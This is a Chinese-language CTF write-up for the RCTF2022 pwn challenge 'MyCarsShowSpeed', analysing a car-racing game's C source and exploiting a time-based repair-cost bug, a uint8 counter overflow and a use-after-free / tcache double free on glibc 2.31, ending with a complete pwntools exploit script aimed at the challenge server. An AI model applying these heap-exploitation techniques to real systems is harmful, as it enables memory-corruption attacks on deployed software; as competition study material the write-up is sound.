title: RCTF2022-MyCarsShowSpeed
date: 2022-12-12 05:00:00
tags:
comments: true
categories:
- [ctf,pwn]
做到一道好题,mark一下。
<!--more-->
正向分析
这一步是可以看看程序具体实现了一个什么逻辑,运行出现一个菜单,并且是多级的。
- 开始一把游戏
- 查看信息
- 拜访商店
- 切换卡车
- 输出一句话
- 退出
其中拜访商店又有一个新的菜单
- 买东西
- 卖东西
- 修车
- 取车
- 退回上一级
我们可以去商店买车,买汽油,买安全带(没有实际用处)和flag,当然 flag 比较贵,那么我们一定要寻找赚钱的途径,把车买了再卖了是得到一半的价格。修车根据时间来算价格,增加车的 health,车有 health,fuel,stability这几个属性,fuel是汽油,health 是血条吧可以理解为,另一个查一查单词意思是稳定性,不过也不知道具体是什么意思。
我们修车的时候不能卖车,估计是防止我们通过这个不停地卖车刷钱。
有了车我们可以去跟一个 bot pk,赢了的话得到 10 块钱,但是跑一次会损耗汽油和 health,然后又要去买,而且只赚 10 块,目测不行,但是通过正向的分析我们很浅显地知道了程序大概逻辑,具体实现需要分析它给的源码。
源码分析
基本分析
看到 .h 文件的一些结构体定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | / / store.h
struct game
{
void ( * printRules)();
void ( * showCars)(game_t * _this);
void ( * showInfo)(game_t * _this);
int ( * checkCar)(game_t * _this);
void ( * startGame)(game_t * _this);
void ( * switchCars)(game_t * _this);
void ( * compete)(game_t * _this);
void ( * visitStore)(game_t * _this);
void ( * menu)(void);
void ( * printBanner)();
void ( * readInput)(game_t * _this);
void ( * finishGame)(game_t * _this);
store_t * store;
road_t * road;
car_t * userCar;
car_t * botCar;
carList_t * carList;
uint32_t money;
int winCol;
uint32_t winTimes;
};
|
游戏的具体实现采用函数指针的方式去调用,game 这个结构体有两个重要的参数,一个是 money,另一个是 wintimes,就是金钱和赢得次数。
money 分析
在 vscode 中 Ctrl+点击 可以做到类似 IDA 的交叉引用,我们看看什么行为会修改我们的 money。
在 game.c 中的三处引用,第一个是初始化 120,第二个是 printinfomation 的时候会用到,第三个是没赢一盘给你加 10 点,这个我们在正向分析的时候没有太大问题,问题应该不会直接出现在这些代码上。
那就看看 store.c,七处引用,第一个是在买东西的时候判断当前金钱是否大于等于物品金钱,第二个第三个是买完商品对应给你扣钱。这两个地方需要注意一下,虽然最后我们知道这里没有问题,但是往往最容易忽略的是这里的逻辑问题,我们需要严格判断有没有可能把我们的金钱减到负数然后把钱变得很多,然后判断有没有可能用整数溢出的方式绕过。
第四个地方是 game->money += car->cost / 2 + car->performance * 2;
,应该是在卖车的时候,因为这里有一个把车的价格除 2 给我们,后面加了一个 performance * 2,不过我们还不知道这个 performance 是啥,也不用管。
五六七都在一起了
判断如果花费 > 我们当前的金钱那么就让花费等于我们当前的金钱然后减掉,这里导致的一个问题就是我可以实现零元修车,但是对于我们刷钱来说还是没啥用。
往上面看可以发现它在修车的时候会记录你的时间戳,但是不是时间戳直接减,而是直接取出时分秒然后算个一天的时间,再相减,最容易想到的方法当然是 零点之前放车,然后零点之后取车,这样的话能实现花费为负数刷到大量的钱。
本地调试一下看看
那么效果是达到了,可是当尝试买 flag 的时候,发现没有得到 flag,于是我们跑到 store.c 里面看看关于 flag 那边代码的描述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | else if (strcmp(goods - >name, "flag" ) = = 0 )
{
if (game - >winTimes < 1000 )
{
puts( "No! You cheated in this game! Where did your money come from?\n" );
puts( "Punish for cheaters!\nYour cars are confiscated!" );
carList_t * curCar = game - >carList;
while (curCar)
{
car_t * car = curCar - >car;
if (car)
{
free(car);
curCar - >car = NULL;
}
curCar = curCar - > next ;
}
game - >carList - >carNums = 0 ;
game - >userCar = NULL;
}
else
{
int fd;
char buf[ 64 ];
puts( "You've earned it!" );
puts( "Here is your flag!" );
fd = open ( "./flag" , O_RDONLY);
if (fd > = 0 )
{
read(fd, buf, 64 );
write( 1 , buf, 64 );
}
}
return ;
}
|
发现那个分支里面,还要判断你赢 1000 次才可以获得 flag。如果没有赢 1000 次就买 flag 还会强制没收你的车。但是我们正向分析的时候可以得到,修车的时候不能卖车,那么我们如果让它修车的时候买 flag,车被强制回收还会 free 一次,那么我们还可以把车取回来,再买一次 flag,再 free 一遍,造成 uaf 漏洞,我们这样可以去写 wintimes 字段。
有源码的好处是我们可以强制把我们初始化的钱改成 99999,因为我们已经掌握了刷钱的方法,剩下的我们只需要去刷次数即可,经过测试发现甚至可以直接 double free,在 2.31 中,check 没有很严格,tcache 分配不检查 size,但是检查 count,如果tcache count 为 0 即使指针不为 NULL 也不会分配。
经过尝试,我们可以很轻松地泄露出堆的地址,那么我们要绕过 2.31 的 check count 的检测可以采用三次 free 的方法去绕过,第一次分配写上目标堆块地址,也就是 heap_addr+0x330,这个地方是 wintimes 的地址。第二次 free 取出原来的堆块,第三次分配拿到目标堆块去随便写几个字符串,超过 1000 就行了,于是我们很轻松地写出了这一题。
performance分析
但是问题来了,难道只有零点能刷钱?这也太不友好了,我们之前留下了一下悬念,比如汽车的 performance 可以让我们提升卖车的价值,我们对它交叉引用一下看看。
比较简单,也没有什么地方调用了它,除了刚刚的卖的时候可以价钱,再就是在 finishGameImpl 函数中让它的价值增加了。
再交叉引用一下发现在 startGameImpl 函数中调用了它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | void startGameImpl(game_t * _this)
{
int ch;
if (_this - >checkCar(_this) = = 0 )
return ;
initBoard();
_this - >userCar - >col = USER_COL;
_this - >botCar - >col = BOT_COL;
road_t * road = _this - >road;
if (road ! = NULL)
{
road - >buildRoad(road, ROAD_BLOCKS);
road - >printEnd(road);
}
_this - >printBanner();
_this - >userCar - >printCar(_this - >userCar);
_this - >botCar - >printCar(_this - >botCar);
while ( 1 )
{
ch = getch();
if (ch = = 'q' || ch = = 'Q' )
goto End;
if (ch = = ' ' )
break ;
}
_this - >compete(_this);
End:
_this - >finishGame(_this);
clear();
endwin();
}
|
并且我们很容易可以看出来,如果我们进来直接退出,也会调用这个 finishGame 函数,也可能触发一次 performance++,既然不开始游戏的话我们短时间内还是可以操作很多次的。
我们发现其中两个分支会在某辆车到达终点的时候才会进入的,其它时候根本不会进入。
有一个分支会可能会进入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | if (isSlip(p))
{
char msg[] = "You are luck!\nYour car's perfomrance increased!" ;
mvprintw(MSG_ROW + 1 , (winCol - strlen(msg)) / 2 , "%s" , msg);
steps + = 0.1 ;
if (steps = = 1.0 )
{
steps = 0 ;
_this - >userCar - >step + = 1 ;
}
if (_this - >userCar - >stability < 100 )
_this - >userCar - >stability + + ;
_this - >userCar - >performance + + ;
}
|
isSlip是一个随机性函数,也就是 p% 的概率为 1。这里 p=10,也就是 10% 的概率,但是这个有点不太够看,算期望的话,我们 1000 次也就多 200 块,刷的效率还是比较低的。
但是其它地方确确实实没问题了,在这个 new_game 当中,没有任何办法可以通过正常手段去改这个 iswon 和 wintimes 了。
止步不前了,我们回到刚刚分析金钱的地方。
还是发现了端倪。
它在算时间戳的时候,会让取出时间乘上一个 difficulty。
1 2 | fetchTime = fetchHour * 3600 + fetchMin * 60 + fetchSec * fixDifficulty; / / 0
fixTime = fixHour * 3600 + fixMin * 60 + fixSec;
|
并且给了一个注释 0。
difficulty分析
那么这里我们分析一下这个 difficulty 的字段。
从上到下,第一个是初始化,difficulty 为 1,第二个是定义,第三个是刚刚的 finish game 的时候 ++,最后一个是我们在修车的时候赋值,又是 finishGame ,我们继续跳到里面分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | void finishGameImpl(game_t * _this)
{
car_t * car = _this - >userCar;
int fuelCost, healthCost;
int p = 10 ;
static double steps;
fuelCost = car - >col / 10 ;
healthCost = car - >col / 5 ;
car - >health - = healthCost;
car - >fuel - = fuelCost;
if (car - >health < 0 )
car - >health = 0 ;
if (car - >fuel < 0 )
car - >fuel = 0 ;
car - >fixDifficulty + + ;
if (isSlip(p))
{
char msg[] = "You are luck!\nYour car's perfomrance increased!" ;
mvprintw(MSG_ROW + 1 , (winCol - strlen(msg)) / 2 , "%s" , msg);
steps + = 0.1 ;
if (steps = = 1.0 )
{
steps = 0 ;
_this - >userCar - >step + = 1 ;
}
if (_this - >userCar - >stability < 100 )
_this - >userCar - >stability + + ;
_this - >userCar - >performance + + ;
}
attron(COLOR_PAIR( 1 ));
if (_this - >botCar - >isWon)
{
int ch;
char msg[] = "You lose! Press enter to quit..." ;
_this - >botCar - >isWon = 0 ;
if (car - >stability < _this - >botCar - >stability)
{
car - >stability + = 5 ;
car - >performance + + ;
}
mvprintw(BANNER_ROW + 3 , (winCol - strlen(msg)) / 2 , "%s" , msg);
while ((ch = getch()) ! = '\n' );
}
else if (_this - >userCar - >isWon)
{
int ch;
_this - >winTimes + + ;
_this - >userCar - >isWon = 0 ;
_this - >money + = 10 ;
mvprintw(BANNER_ROW + 3 , (winCol - 10 ) / 2 , "%s" , "You Won!!! Press enter to quit..." );
while ((ch = getch()) ! = '\n' );
}
attroff(COLOR_PAIR( 1 ));
}
|
发现这个逻辑在最开始,也就是无论如何都会被调用的,而且我们发现它的类型为 uint8,无符号的 8 位整数,那么我们可以让它刷 255 次,导致了它加到最后变成 0,然后我们再不停地修车,就会导致取的时候少加了秒数相减极有可能是负数(修车赚钱),并且我们还可以修很多次,这样的话就可以避免在零点才能刷钱的问题。
那么两个思路一结合就可以做出这一题了。
exp编写
首先给一下交互函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | def choice(idx):
p.sendlineafter(b '> ' , str (idx))
def entered(s):
p.sendlineafter(b '> ' ,s)
def start():
choice( 1 )
p.recvuntil( '`-(_)--(_)-`' )
p.send( 'q' )
def show():
choice( 2 )
def visit():
choice( 3 )
def switch():
choice( 4 )
def buy(t,name = None ):
choice( 1 )
entered(t)
if 'Car' in t:
entered(name)
def sell(name):
choice( 2 )
entered(name)
def fix(name):
choice( 3 )
entered(name)
def fetch(name):
choice( 4 )
entered(name)
def leave():
choice( 5 )
|
在这里很多选项没用到,也就没有实际的去实现交互的功能,start 函数这里仅仅实现了开始一句游戏然后马上按 q 退出。
第一步,买一辆车,把 difficulty 刷到 0。
1 2 3 4 5 6 7 | visit()
buy( 'NormalCar' , 'ss' )
leave()
for i in range ( 255 ):
print (i)
start()
|
然后这样不就稳稳地可以刷钱去了。
理论上,一次最多刷 59*5 的钱,看当前秒钟指向的位置,这里取一下期望是一次可以大概刷 150 块,刷到 9999 我们直接刷一百次好了。
1 2 3 4 5 6 7 8 9 10 11 12 | visit()
buy( 'NormalCar' , 'ss' )
leave()
for i in range ( 255 ):
print (i)
start()
visit()
for i in range ( 100 ):
fix( 'ss' )
fetch( 'ss' )
|
而且,买 flag 不扣钱的,因为不管是有没有赢到 1000 次,它都 return,不会触发下面的扣钱逻辑,所以我们有 9999 只是有了一个门槛而已。
之后我们把车再放起来修一下,然后去买 flag,被强制回收。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | visit()
buy( 'NormalCar' , 'ss' )
leave()
for i in range ( 255 ):
print (i)
start()
visit()
for i in range ( 100 ):
fix( 'ss' )
fetch( 'ss' )
fix( 'ss' )
buy( 'flag' )
|
第一次 free,fd字段被清零,tcache 的 fd 字段对应了 car 的 name 字段,所以我们要从 fix 那里取出来的话直接给一个回车取。但是第二次 free,它的 fd 会带上自身的一个指针,但是我们修车的时候会显示它的名字,可以把当前堆块的地址泄露出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | visit()
buy( 'NormalCar' , 'ss' )
leave()
for i in range ( 255 ):
print (i)
start()
visit()
for i in range ( 100 ):
fix( 'ss' )
fetch( 'ss' )
fix( 'ss' )
buy( 'flag' )
fetch('')
fix('')
buy( 'flag' )
choice( 4 )
p.recvuntil( 'CarName: ' )
name = p.recv( 6 )
|
然后快乐泄露堆地址,并且让它再被 free 一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | visit()
buy( 'NormalCar' , 'ss' )
leave()
for i in range ( 255 ):
print (i)
start()
visit()
for i in range ( 100 ):
fix( 'ss' )
fetch( 'ss' )
fix( 'ss' )
buy( 'flag' )
fetch('')
fix('')
buy( 'flag' )
choice( 4 )
p.recvuntil( 'CarName: ' )
name = p.recv( 6 )
heap = u64(name + b '\0\0' ) - 0x5e0
success( 'heap: ' + hex (heap))
p.sendline(name)
fix(name)
buy( 'flag' )
success( 'heap: ' + hex (heap + 0x330 ))
|
最后嘛,直接就连续申请三次,第一次需要填上指定的地址,第三次写指定地址的一个值。
1 2 3 4 | buy( 'NormalCar' ,p64(heap + 0x330 )[: 6 ])
buy( 'NormalCar' ,p64(heap + 0x330 )[: 6 ])
buy( 'NormalCar' , 'ssss' )
buy( 'flag' )
|
然后把 process 改成 remote 直接就能跑了。
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | from pwn import *
p = remote( '49.0.206.171' , 9999 )
def choice(idx):
p.sendlineafter(b '> ' , str (idx))
def entered(s):
p.sendlineafter(b '> ' ,s)
def start():
choice( 1 )
p.recvuntil( '`-(_)--(_)-`' )
p.send( 'q' )
def show():
choice( 2 )
def visit():
choice( 3 )
def switch():
choice( 4 )
def buy(t,name = None ):
choice( 1 )
entered(t)
if 'Car' in t:
entered(name)
def sell(name):
choice( 2 )
entered(name)
def fix(name):
choice( 3 )
entered(name)
def fetch(name):
choice( 4 )
entered(name)
def leave():
choice( 5 )
visit()
buy( 'NormalCar' , 'ss' )
leave()
for i in range ( 255 ):
print (i)
start()
visit()
for i in range ( 100 ):
fix( 'ss' )
fetch( 'ss' )
fix( 'ss' )
buy( 'flag' )
fetch('')
fix('')
buy( 'flag' )
choice( 4 )
p.recvuntil( 'CarName: ' )
name = p.recv( 6 )
heap = u64(name + b '\0\0' ) - 0x5e0
success( 'heap: ' + hex (heap))
p.sendline(name)
fix(name)
buy( 'flag' )
success( 'heap: ' + hex (heap + 0x330 ))
buy( 'NormalCar' ,p64(heap + 0x330 )[: 6 ])
buy( 'NormalCar' ,p64(heap + 0x330 )[: 6 ])
buy( 'NormalCar' , 'ssss' )
buy( 'flag' )
p.interactive()
|
运行结果:
小结
对题目而言:这题质量是非常高的,而且最终也只有五个队伍做出来了(我也是其中一个,荣誉感还是很足的!)。也让我更加加深了对于逻辑漏洞的审计吧,我这个 wp 写的是完全按照我做题的新路历程来的,可以说就是完整的演示了一遍我在比赛中做题的过程,希望对师傅们复现有帮助。
对比赛而言:这次比赛中,自己还出了一个 MISC 的 PVZ,那题就纯开挂能过去的(也算对我学了这三个月逆向的一个小检测)。还有一道 kernel pwn,就挺经典的,kernel pwn每次都是分数最低的一个,感觉在这么来几次 kernel pwn 的非预期要变成预期解了。
最关键是,我找到了比赛久中违的快乐,那种熬夜淦题目,flag 出的那一刻说不上来的喜悦。前几次比较有感觉的,L3HCTF2021,还有 SUSCTF2022,已经过了大半年了,加油吧,接着冲,接着学!
看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~